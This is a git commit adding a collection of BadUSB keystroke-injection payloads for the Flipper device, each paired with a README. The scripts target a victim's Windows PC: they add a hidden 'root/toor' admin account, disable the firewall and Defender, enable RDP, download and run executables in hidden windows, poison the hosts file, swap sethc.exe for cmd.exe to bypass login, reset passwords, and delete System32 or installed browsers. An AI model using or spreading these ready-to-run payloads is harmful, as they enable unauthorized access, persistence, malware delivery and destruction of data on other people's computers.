Adding lost UNC0V3R3D BadUSB Collection

This commit is contained in:
UberGuidoZ
2024-04-15 23:47:39 -07:00
parent 06c3423537
commit 103d83bf76
155 changed files with 5841 additions and 0 deletions
@@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Activates Remote Desktop.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 1200
ALT y
DELAY 1200
GUI UP
DELAY 1200
STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0;Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1;netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes;netsh advfirewall firewall set rule group='remote desktop' new enable=Yes; exit
ENTER
@@ -0,0 +1,44 @@
# ActivateRDP
This script enables Remote Desktop connections and requires RDP authentication, so it opens the necessary firewall ports to allow incoming connections.
## How to use?
This script is easy to use. Plug the Flipper in and run the script.
## Features
- allows remote connections
- enables RDP authentication
- allow incoming remote connections
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,26 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Changes the Windows 10 username to the name of your choice.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING $User = ([Environment]::UserName)
DELAY 300
ENTER
DELAY 500
STRING Rename-LocalUser -Name $User -NewName "New Name"
DELAY 300
ENTER
DELAY 500
exit
ENTER
@@ -0,0 +1,43 @@
# ChangeWinUsername
This script simply changes the Windows Username.
## How to use?
This script is not plug and play. You need to replace "New Name" to any name you want right here: "STRING Rename-LocalUser -Name $User -NewName "New Name""
## Features
- open powershell
- change windows username
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Create a new Windows-User with Admin perms.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
ENTER
DELAY 560
ALT y
DELAY 300
STRING Net User root toor /ADD;Net LocalGroup Administrators root /ADD;Net LocalGroup Administrator root /ADD;Net LocalGroup Administratoren root /ADD;reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList' /v root /t REG_DWORD /d 0 /f; exit
ENTER
@@ -0,0 +1,45 @@
# Create_New_Windows_Admin
This script creates a new windows admin user on the target pc.
## How to use?
This script is plug and play. After the new user is created you need to use the username "root" and the password "toor" to login.
## Features
- open powershell
- create new admin user
- create name "root"
- create password "toor"
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Poisons the DNS Cache. (https://www.cloudflare.com/learning/dns/dns-cache-poisoning/)
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 750
WINDOWS r
DELAY 800
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 870
ALT y
DELAY 790
STRING $redirectionAddress="IP ADRESS HERE";$redirectedSite="URL HERE";$hosts1 = $redirectionAddress + ' ' + $redirectedSite + ([Environment]::NewLine);$hosts2 = $redirectionAddress + ' www.' + $redirectedSite;$hoststotal = $hosts1 + $hosts2;[io.file]::writealltext("C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS", $hoststotal); exit
ENTER
@@ -0,0 +1,46 @@
# DNS_Cache_Poison
This script modifies the "hosts" file on a Windows operating system. You can change ip adresses of resolved domain names to open facebook.com instead of google.com when you search it for example.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change rediraction adress "$redirectionAddress="IP ADRESS HERE""
- change rediraction url "$redirectedSite="URL HERE""
## Features
- open powershell
- change content of "hosts" file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Delete Microsoft Edge, Chrome, Opera and Firefox from the target pc.
REM Version: 1.0
REM Category: Execution
DELAY 800
WINDOWS d
DELAY 800
WINDOWS r
DELAY 800
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 800
LEFTARROW
ENTER
DELAY 800
STRING Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object {($_.DisplayName -like "Microsoft Edge") -or ($_.DisplayName -like "Mozilla Firefox") -or ($_.DisplayName -like "Google Chrome") -or ($_.DisplayName -like "Opera*")} | ForEach-Object {Uninstall-package $_.PSChildName -Verbose}
DELAY 200
ENTER
DELAY 1200
STRING exit
ENTER
@@ -0,0 +1,43 @@
# Delete Browsers
This script deletes these browsers: Chrome, Edge, Opera and Firefox
## How to use?
This script is plug and play. Just plug the Flipper in and run the script.
## Features
- open powershell
- delete browsers
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,17 @@
REM Title:32 wants the D
REM Author: FalsePhilosopher
REM Target: Win, tested on 10
REM Props: Hak5, my friends and memes
REM Version: 1.0
REM Category: Prank
REM D as in DELETE! Deletes System32.
DELAY 500
GUI r
DELAY 500
STRING cmd
CTRL-SHIFT ENTER
DELAY 2000
ALT y
DELAY 1500
STRING takeown /f * /r /a /d y && icacls * /inheritance:r /grant:r administrators:(F) /t & del /f /q *
ENTER
@@ -0,0 +1,46 @@
# Original repo
https://github.com/FalsePhilosopher/badusb/tree/main/destructive/Win/Delete32
# 32 Wants the D
This script deletes the system 32 folder. Be careful!
## How to use?
This script is plug and play. I am not responsible for any damage.
## Features
- open powershell
- delete system 32
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Disables the Windows-Firewall.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 850
WINDOWS r
DELAY 900
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 900
ALT y
DELAY 900
STRING netsh advfirewall set allprofiles state off; exit
ENTER
@@ -0,0 +1,43 @@
# DisableFirewall
This script disables the windows firewall.
## How to use?
This script is plug and play. Just plug the Flipper in and run the script.
## Features
- open powershell
- disable windows firewall
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,41 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Disables Windows Defender.
REM Version: 1.0
REM Category: Execution
DELAY 1500
CTRL ESC
DELAY 750
STRING windows security
DELAY 250
ENTER
DELAY 1000
ENTER
DELAY 500
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
ENTER
DELAY 500
SPACE
DELAY 1000
ALT y
DELAY 1000
ALT F4
DELAY 500
GUI r
DELAY 500
STRING powershell
CTRL-SHIFT ENTER
DELAY 1000
ALT y
DELAY 1000
STRING Add-MpPreference -ExclusionPath “C:”
ENTER
DELAY 2000
STRING EXIT
ENTER
@@ -0,0 +1,43 @@
# Disable_WinDefender
This script disables the windows defender until the pc is restarted.
## How to use?
This script is plug and play.
## Features
- open powershell
- disable windows defender
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads an .exe file from the URL and runs it on the target pc.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 950
WINDOWS r
DELAY 650
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 850
ALT y
DELAY 1200
STRING $url = "URL TO EXE"; $output = "C:\windows\41281687.exe"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath "C:\windows\41281687.exe"; exit
ENTER
@@ -0,0 +1,45 @@
# DownloadAnyEXE
This script downloads an exe from an url that you will have to provide, then it executes the exe file.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change url for the .exe file "$url = "URL TO EXE""
## Features
- open powershell
- download .exe from url
- execute downloaded .exe
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,17 @@
REM Author: hell0
REM Description: Downloads an .exe file from the URL and runs it on the target pc.
REM Version: 1.0
REM Category: Execution
REM Target: All Windows
DELAY 500
GUI d
DELAY 500
GUI r
DELAY 500
STRING powershell.exe
ENTER
DELAY 2000
STRING Start-Process -FilePath "powershell" -ArgumentList "/c cd $Env:temp;Invoke-WebRequest -Uri 'https://yoursite.com/your_executable.exe' -OutFile 'your_executable.exe'; Start-Process -FilePath '.\your_executable.exe'; exit" -WindowStyle Hidden; exit
ENTER
DELAY 500
GUI d
@@ -0,0 +1,45 @@
# Invisible_DownExec
This script invisibly downloads an exe from an url that you will have to provide, then it executes the exe file.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change url for the .exe file "-Uri 'https://yoursite.com/your_executable.exe'"
- change name of the .exe file "-OutFile 'your_executable.exe'"
## Features
- open powershell invisble
- download .exe from url
- execute downloaded .exe
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,17 @@
REM Author: hell0
REM Description: Downloads an .zip file from the URL, extract and runs it on the target pc.
REM Version: 1.0
REM Category: Execution
REM Target: All Windows
DELAY 500
GUI d
DELAY 500
GUI r
DELAY 500
STRING powershell.exe
ENTER
DELAY 2000
STRING Start-Process -FilePath "powershell" -ArgumentList "/c cd $Env:temp;Invoke-WebRequest -Uri 'https://yoursite.com/zipfile.jpg' -OutFile 'zipfile.zip'; Expand-Archive zipfile.zip; Start-Process -FilePath '.\zipfile\your_executable.exe'; exit" -WindowStyle Hidden; exit
ENTER
DELAY 500
GUI d
@@ -0,0 +1,47 @@
# Invisible_DownExec_Zip_Extract
This script invisibly downloads an .zip file from the URL, extracts and runs it on the target pc.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change url for the .zip file "-Uri 'https://yoursite.com/zipfile.jpg'"
- change name of the .zip file "-OutFile 'zipfile.zip'"
- change path of the .exe in the extracted folder "-FilePath '.\zipfile\your_executable.exe'"
## Features
- open powershell invisble
- download .zip from url
- extract .zip file
- run exe from .zip file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Open any TCP or UDP Port on the target PC.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 850
WINDOWS r
DELAY 850
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 800
LEFTARROW
ENTER
DELAY 900
ALT y
DELAY 900
STRING netsh advfirewall firewall add rule name=Firewall entry name dir=in action=allow protocol=TCP or UDP localport=Port Number; exit
ENTER
@@ -0,0 +1,46 @@
# OpenAnyPort
This script adds a firewall rule to the Windows Advanced Firewall that allows incoming traffic over TCP or UDP on a specific port number.
## How to use?
This script is not plug and play. You will have to do the following changes:
- choose protocol "protocol=TCP or UDP"
- change localport "localport=Port Number"
- choose entry name "name=Firewall entry name"
## Features
- open powershell
- create new entry
- allow port to receive traffic
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Remove any Windows Update. Please put in the update number you want to remove. Example: KB27475
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 1500
ALT y
DELAY 1500
GUI UP
DELAY 1500
STRING $input="UPDATE NUMBER";$input = $input.Replace('KB', '');$cmdString = 'wusa /quiet /norestart /uninstall /kb:' + $input;Invoke-Expression -Command $cmdString; exit
ENTER
@@ -0,0 +1,44 @@
# RemoveWindowsUpdate
This script uninstalls a Windows update that has been previously installed on the system.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change update number "$input="UPDATE NUMBER""
## Features
- open powershell
- find update by number
- uninstall update
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Connect to a Wifi (example Evil Twin) to sniff packets or what you wanna do.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 1200
ALT y
DELAY 1200
GUI UP
DELAY 1200
STRING netsh wlan set hostednetwork ssid=WLAN NAME key=PASSWORD;netsh wlan start hostednetwork; exit
ENTER
@@ -0,0 +1,44 @@
# StartWifiAccessPoint
This script sets up a hosted wireless network on a computer running Windows.
## How to use?
This script is not plug and play. You will have to do the following changes:
- choose name of wifi "ssid=WLAN NAME"
- choose password of the wifi "key=PASSWORD"
## Features
- open powershell
- create new wifi by ssid
- set password for wifi
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Switch cmd.exe with sethc.exe, allowing to get access to target pc without knowing the pin.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 1500
ALT y
DELAY 1500
GUI UP
DELAY 1500
STRING copy c:\windows\system32\sethc.exe c:\;$acl = Get-Acl c:\windows\system32\sethc.exe;$AccessRule1 = New-Object System.Security.AccessControl.FileSystemAccessRule("Jeder","FullControl","Allow");$AccessRule2 = New-Object System.Security.AccessControl.FileSystemAccessRule("Everyone","FullControl","Allow");$acl.SetAccessRule($AccessRule1);$acl | Set-Acl c:\windows\system32\sethc.exe;$acl.SetAccessRule($AccessRule2);$acl | Set-Acl c:\windows\system32\sethc.exe;Copy-Item -Path c:\windows\system32\cmd.exe -Destination c:\windows\system32\sethc.exe -Recurse -force; exit
ENTER
@@ -0,0 +1,37 @@
# StickyKeysSWAP
This script modifies the system file "sethc.exe" on a computer running Windows by adding full control access rules for "Everyone", replacing the file with the "cmd.exe" file, and setting the access control list of the file to the modified access control list.
## How to use?
This script is plug and play. Just plug in the Flipper and run the script.
## Features
- open powershell
- replace cmd.exe
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,43 @@
# setWinPass
This script sets the password for the current user on windows.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change password to anything you like "$NewPassword = ConvertTo-SecureString "PASSWORD HERE""
## Features
- open powershell
- find current username
- set new password for current user
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,30 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Change Widnows 10 user password.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 560
STRING $User = ([Environment]::UserName)
DELAY 200
ENTER
DELAY 500
STRING $NewPassword = ConvertTo-SecureString "PASSWORD HERE" -AsPlainText -Force
DELAY 300
ENTER
DELAY 500
STRING Set-LocalUser -Name $User -Password $NewPassword
DELAY 300
ENTER
DELAY 600
STRING exit
ENTER